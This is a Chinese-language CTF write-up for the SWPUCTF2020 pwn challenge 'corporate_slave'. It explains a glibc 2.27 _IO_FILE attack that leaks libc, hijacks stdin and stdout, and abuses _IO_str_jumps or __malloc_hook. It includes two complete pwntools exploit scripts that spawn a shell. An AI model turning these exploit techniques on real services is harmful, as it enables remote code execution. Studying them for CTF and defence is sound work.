题目来源：
感谢cnitlrt师傅的帮助
这道题目是来自于SWPUCTF2020的第三道pwn题，在比赛的时候没有做出来。
这道题目出的真的非常好，做完之后学到了很多
因为之前一直没有做过类似的题目，比赛的时候自然也没有做出来，不过好在有cnitlrt师傅的帮助，可算是做出来了，而且从那里学到了很多新知识。
corporate_slave
题目特点：
1.只有malloc
2.可以对任意位置（申请位置后）写一字节的NULL
3.保护全开
过程分析：
这道题我分为两个部分
1.泄露libc
2.getshell
第一部分：泄露libc
利用的是_IO_FILE leak，这个是之前接触到过的。
只不过之前一直用的是修改_IO_write_base末尾字节为0x58，在这里因为无法修改_flags为0xfbad1800，所以无法用这个第一种方法。
而且我们没有办法像之前一样踩出libc的地址（main_arena + 88），所以之前的方法直接拿来用是不行的，但是我们注意到申请内存没有设置上限，所以如果我们申请0x200000 size的chunk，那么这个chunk会用mmap来分配堆块，这时候可以用vmmap观察一下申请出来内存和libc对应的偏移，发现这个偏移值是固定的，所以我们可以利用这个方法来往libc上的指定位置写0字节
结合之前所学的第二种方法，也就是修改_IO_read_end == _IO_write_base，我们分别往这两个的末尾写00，这种修改方法也可以实现泄露。
最后成功leak，不过这里leak出了一点小状况，好像是因为前两个leak出来的内容符号被略去了，所以我用LibcSearcher都找到正确的libc，所以最后读取了第三个0x7f，才成功leak libc。
第二部分：getshell
第一部分还是比较容易的，难点是在第二部分。
第二部分分为两种解法，一种是二次写入，另一种是一次写入后第二次打__malloc_hook。
这里着重讲解第一种解法，也就是官方wp的解法，如果想要用第二种解法的可以参考exp2的内容。
1.修改_IO_buf_base
由于我们只能写一字节的00，所以我们这里的方法是利用fgets。
往_IO_buf_base的末尾写00，结果发现正好指向了stdin
2.第一次写入
经过了1操作后，我们控制了stdin结构体，但是实际上只控制了0x84字节，这是因为_IO_buf_end的末尾是0x84。
所以我们距离用于getshell的stdout还有一些距离，由于这次可以写入任意内容，所以选择再次写入_IO_buf_base，并且调整_IO_buf_end，前者指向stdout，后者指向要写入位置的结尾。
3.第二次写入
经过了2操作后，我们控制了stdout结构体，而且是完全控制，我们这里选择构造stdout结构体来完成getshell。
现在讲一讲getshell的思路和流程。
之前利用一般是用_IO_flush_all_lockp，但是这里用的是puts
通过_IO_puts->_IO_default_xsputn->_IO_file_overflow
伪造vtable，使得执行_IO_file_overflow的时候getshell。
但是由于题目给出的libc版本是在2.27下的，所以直接修改vtable是不可以的，不过有相应的绕过方法，那就是利用_IO_str_jumps。
利用方法是_IO_str_jumps中有_IO_str_overflow和_IO_str_finish两个函数，这两个函数都会调用一个在fp指针（可控）附近的一个位置。
前者调用的是：(*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
后者调用的是：(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
_IO_strfile 结构
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| typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};
|
_IO_streambuf 和 _IO_FILE_plus类似，所以根据结构可以看出，调用的这两个指针在内存上的位置正好就相邻vtable，如果要利用_free_buffer那就就要修改vtable + 0x10的位置，如果要利用_allocate_buffer那就要修改vtable + 0x8的位置。
一般来说修改_free_buffer的利用式要比修改_allocate_buffer来的方便一些，但是在这道题中vtable + 0x10的位置正好对应着程序存放stdout指针的位置，如果利用前者，那么会覆盖掉stdout的指针，那就会报错了。所以我们只能利用后者来操作。
_allocate_buffer利用的构造：
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| fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_mode = 0
|
有一点要注意的是，如果 bin_sh_addr 的地址以奇数结尾，为了避免除法向下取整的干扰，可以将该地址加 1。另外 system("/bin/sh") 是可以用 one_gadget 来代替的，这样似乎更加简单。
_free_buffer利用的构造：
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| fp->_mode = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_IO_write_base = 0
fp->_IO_buf_base = bin_sh_addr
fp->_flags2 = 0
fp->_mode = 0
|
这里还遇到了一个小问题，我的ubuntu18.04上的glibc，不知道是版本更新还是什么原因，大版本是glibc2.27的，但是在两者对应的代码位置，都不是利用_allocate_buffer和_free_buffer来调用的，而是直接访问malloc@plt和free@plt，不知道是什么原因，我最后成功测试的时候是在ubuntu 16.04下，用师傅推荐的gfree-libc来替换libc版本，不过这个好像只有他提供编译的libc版本可以成功源码调试，如果是像这道题一样提供服务器libc的话，只能挂载运行，而不能源码调试，不过这个应该只算是个小问题，大部分版本应该都是正确的。
之后还需要解决一些小问题，也正是这些问题卡了我好一段时间
1.结构中的lock(+0x88)要为一个可访问的指针，如果不是的话有个cmp那里会报错，这一点在AngleBoy的视频中也提到过。
2.这道题只能利用_allocate_buffer。
3._IO_str_jumps的符号内容不存在（根据CTF权威指南中所说，该符号在strip后会丢失），解决方法看exp。
EXP
利用二重写入
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| from pwn import *
context.log_level = "debug"
r = process('./corporate_slave')
libc = ELF('./libc.so.6')
def malloc(alloc_size, read_size, data="a"):
r.sendline("1")
r.sendline(str(alloc_size))
r.sendline(str(read_size))
r.sendline(data)
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset
# change _IO_read_end & _IO_write_base
malloc(0x200000, 0x5ED750 + 0x20 + 0x1)
malloc(0x200000, 0x5ED750 + 0x201000 + 0x10 + 0x1)
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("file_jumps_addr: " + hex(file_jumps_addr))
libc_base = file_jumps_addr - libc.sym['_IO_file_jumps']
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.sym['system']
log.success("system_addr: " + hex(system_addr))
stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
log.success("stdin_addr: " + hex(stdin_addr))
stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']
log.success("stdout_addr: " + hex(stdout_addr))
str_jumps_addr = libc_base + get_IO_str_jumps()
log.success("str_jumps_addr: " + hex(str_jumps_addr))
sh_addr = libc_base + libc.search("/bin/sh").next()
log.success("sh_addr: " + hex(sh_addr))
lock_addr = libc_base + 0x3ed8c0
log.success("lock_addr: " + hex(lock_addr))
malloc(0x200000, 0x5ED750 + 0x201000 * 2 - 0xD60 + 0x38 + 0x1)
# p64(stdin_addr + 132) * 2
stdout_payload = p64(0) # _flags = 0 ( (fp->_flags & _IO_USER_BUF) == 0)
stdout_payload += p64(stdout_addr + 131) * 3 # _flags = 0 _IO_read_ptr _IO_read_end _IO_read_base
# _IO_write_base _IO_write_ptr _IO_write_end (fp->_IO_write_ptr - fp->_IO_write_base == 0xffffffffffffffff)
stdout_payload += p64(0) + p64(0xffffffffffffffff) + p64(0)
# _IO_buf_base _IO_buf_end(arg: 2 * (_IO_buf_end - _IO_buf_base) + 100)
stdout_payload += p64(0) + p64((sh_addr - 100) >> 1)
stdout_payload = stdout_payload.ljust(0x88, '\x00') + p64(lock_addr) # _lock
# vtable = _IO_str_jumps _allocate_buffer = system
stdout_payload = stdout_payload.ljust(0xD8, '\x00') + p64(str_jumps_addr) + p64(system_addr)
stdin_payload = p64(0xfbad208b)
stdin_payload += p64(stdin_addr + 0x84) + p64(stdin_addr) #first write 0x84
stdin_payload += p64(stdin_addr + 131) * 4
stdin_payload += p64(stdout_addr) + p64(stdout_addr + len(stdout_payload)) #second write
stdin_payload = stdin_payload.ljust(0x84, '\x00')
#gdb.attach(r, "b puts")
r.send(stdin_payload + stdout_payload)
r.interactive()
**单次写入 + __malloc_hook + __realloc_hook调整栈**
from pwn import *
context.log_level = "debug"
#r = process('./corporate_slave')
r = remote('das.wetolink.com', 59173)
libc = ELF('./libc.so.6')
def malloc(alloc_size, read_size, data="a"):
r.sendline("1")
r.sendline(str(alloc_size))
r.sendline(str(read_size))
r.sendline(data)
def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset
# change _IO_read_end & _IO_write_base
malloc(0x200000, 0x5ED750 + 0x20 + 0x1)
malloc(0x200000, 0x5ED750 + 0x201000 + 0x10 + 0x1)
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
file_jumps_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("file_jumps_addr: " + hex(file_jumps_addr))
libc_base = file_jumps_addr - libc.sym['_IO_file_jumps']
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.sym['system']
log.success("system_addr: " + hex(system_addr))
stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
log.success("stdin_addr: " + hex(stdin_addr))
malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
realloc_addr = libc_base + libc.sym['realloc']
log.success("realloc_addr: " + hex(realloc_addr))
one = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget = libc_base + one[2]
log.success("one_gadget: " + hex(one_gadget))
malloc(0x200000, 0x5ED750 + 0x201000 * 2 - 0xD60 + 0x38 + 0x1)
hook_payload = p64(one_gadget) + p64(realloc_addr + 6)
stdin_payload = p64(0xfbad208b)
stdin_payload += p64(stdin_addr + 0x84) + p64(stdin_addr) #first write 0x84
stdin_payload += p64(stdin_addr + 131) * 4
stdin_payload += p64(malloc_hook_addr - 0x10) + p64(malloc_hook_addr + 0x10) #second write
stdin_payload = stdin_payload.ljust(0x84, '\x00')
#gdb.attach(r, "b calloc")
r.sendline(stdin_payload + 'a' * 0x8 + hook_payload)
r.recv(timeout=1)
malloc(1, 1)
r.interactive()
|
参考链接：
[1]CSDN - 攻防世界PWN之bufoverflow_b题解 https://blog.csdn.net/seaaseesa/article/details/104391405
[2]SWPUCTF2020 官方WP https://wllm1013.github.io/2020/12/09/SWPUCTF2020-%E5%AE%98%E6%96%B9WP/#corporate-slave
[3]CTF All in One https://firmianay.gitbook.io/ctf-all-in-one/4_tips/4.13_io_file#_io_str_jumps
wjh 收录于 Pwn